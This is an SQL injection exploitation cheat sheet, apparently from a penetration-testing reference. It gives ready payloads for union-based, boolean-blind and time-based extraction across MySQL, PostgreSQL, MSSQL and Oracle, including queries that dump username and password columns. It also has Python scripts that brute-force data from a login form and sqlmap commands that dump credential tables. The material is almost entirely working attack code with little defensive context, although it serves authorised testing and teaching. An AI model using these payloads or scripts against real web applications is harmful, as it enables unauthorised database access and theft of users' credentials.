SQLi Exploitation¶
Union-Based Extraction¶
Step 1: Find Column Count¶
ORDER BY method:
' ORDER BY 1-- - -- Works
' ORDER BY 2-- - -- Works
' ORDER BY 3-- - -- Works
' ORDER BY 4-- - -- ERROR! (3 columns)
UNION SELECT NULL method:
' UNION SELECT NULL-- - -- Error
' UNION SELECT NULL,NULL-- - -- Error
' UNION SELECT NULL,NULL,NULL-- - -- Works! (3 columns)
Step 2: Find Visible Columns¶
' UNION SELECT 1,2,3-- -
-- Check which numbers appear in response
-- Example: "2" visible in page → column 2 is injectable
Step 3: Extract Data¶
Database Version:
-- MySQL
' UNION SELECT NULL,@@version,NULL-- -
-- PostgreSQL
' UNION SELECT NULL,version(),NULL-- -
-- MSSQL
' UNION SELECT NULL,@@version,NULL-- -
-- Oracle
' UNION SELECT NULL,banner,NULL FROM v$version-- -
Current Database/User:
-- MySQL
' UNION SELECT database(),user(),@@hostname-- -
-- PostgreSQL
' UNION SELECT current_database(),current_user,NULL-- -
-- MSSQL
' UNION SELECT db_name(),user_name(),@@servername-- -
List Databases:
-- MySQL
' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata-- -
' UNION SELECT NULL,GROUP_CONCAT(schema_name),NULL FROM information_schema.schemata-- -
-- PostgreSQL
' UNION SELECT NULL,datname,NULL FROM pg_database-- -
-- MSSQL
' UNION SELECT NULL,name,NULL FROM sys.databases-- -
List Tables:
-- MySQL
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -
-- PostgreSQL
' UNION SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname='public'-- -
-- MSSQL
' UNION SELECT NULL,name,NULL FROM sys.tables-- -
List Columns:
-- MySQL
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
-- PostgreSQL
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
-- MSSQL
' UNION SELECT NULL,name,NULL FROM sys.columns WHERE object_id=OBJECT_ID('users')-- -
Dump Data:
-- MySQL
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users-- -
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL FROM users-- -
-- PostgreSQL
' UNION SELECT NULL,username||':'||password,NULL FROM users-- -
-- MSSQL
' UNION SELECT NULL,username+':'+password,NULL FROM users-- -
Blind Boolean-Based Extraction¶
When no output is visible but true/false conditions produce different responses.
Character Enumeration¶
-- Extract character by character
' AND SUBSTRING(database(),1,1)='a'-- -
' AND SUBSTRING(database(),1,1)='b'-- -
...
-- Faster with ASCII comparison
' AND ASCII(SUBSTRING(database(),1,1))>96-- -
' AND ASCII(SUBSTRING(database(),1,1))>109-- - -- Binary search
Length Detection¶
Full Extraction Flow¶
-- 1. Get database name length
' AND LENGTH(database())=4-- - -- True? DB name is 4 chars
-- 2. Extract chars (position 1)
' AND SUBSTRING(database(),1,1)='t'-- -
-- 3. Extract tables
' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='u'-- -
-- 4. Extract columns
' AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)='i'-- -
-- 5. Extract data
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
Blind Time-Based Extraction¶
When no difference in response content.
Conditional Timing¶
-- MySQL
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -
' AND IF(ASCII(SUBSTRING(database(),1,1))>96, SLEEP(5), 0)-- -
-- PostgreSQL
' AND CASE WHEN SUBSTRING(current_user,1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
-- MSSQL
' IF SUBSTRING(db_name(),1,1)='m' WAITFOR DELAY '0:0:5'-- -
-- Oracle
' AND CASE WHEN SUBSTR(user,1,1)='S' THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 1 END=1-- -
Heavy Query Alternative¶
When SLEEP is blocked:
-- MySQL
' AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)>0-- -
-- MySQL BENCHMARK
' AND BENCHMARK(10000000,SHA1('test'))-- -
-- PostgreSQL
' AND (SELECT COUNT(*) FROM pg_class A, pg_class B, pg_class C)>0-- -
Python Extraction Script¶
Boolean-Based¶
import requests
import string
target = "http://target.com/login"
chars = string.ascii_lowercase + string.digits + "_"
def extract_data(query_template, max_len=50):
result = ""
for pos in range(1, max_len + 1):
found = False
for char in chars:
payload = query_template.format(pos=pos, char=char)
data = {"username": f"admin' AND {payload}-- -", "password": "x"}
r = requests.post(target, data=data)
if "Welcome" in r.text: # True condition
result += char
print(f"[+] Found: {result}")
found = True
break
if not found:
break
return result
# Usage
db_name = extract_data("SUBSTRING(database(),{pos},1)='{char}'")
Binary Search (Faster)¶
def binary_search_char(pos, query_template):
low, high = 32, 126 # Printable ASCII
while low < high:
mid = (low + high) // 2
payload = query_template.format(pos=pos, ascii_val=mid)
data = {"id": f"1' AND {payload}-- -"}
r = requests.get(target, params=data)
if "true_condition" in r.text:
low = mid + 1
else:
high = mid
return chr(low)
Time-Based¶
import time
def time_extract(pos, char):
payload = f"' AND IF(SUBSTRING(database(),{pos},1)='{char}',SLEEP(2),0)-- -"
start = time.time()
requests.get(target, params={"id": payload})
return time.time() - start > 2
sqlmap One-Liners¶
# Enumerate databases
sqlmap -u "URL?id=1" --dbs
# Enumerate tables
sqlmap -u "URL?id=1" -D database_name --tables
# Enumerate columns
sqlmap -u "URL?id=1" -D database_name -T users --columns
# Dump data
sqlmap -u "URL?id=1" -D database_name -T users -C username,password --dump
# Force technique
sqlmap -u "URL?id=1" --technique=B # Boolean
sqlmap -u "URL?id=1" --technique=T # Time
sqlmap -u "URL?id=1" --technique=U # Union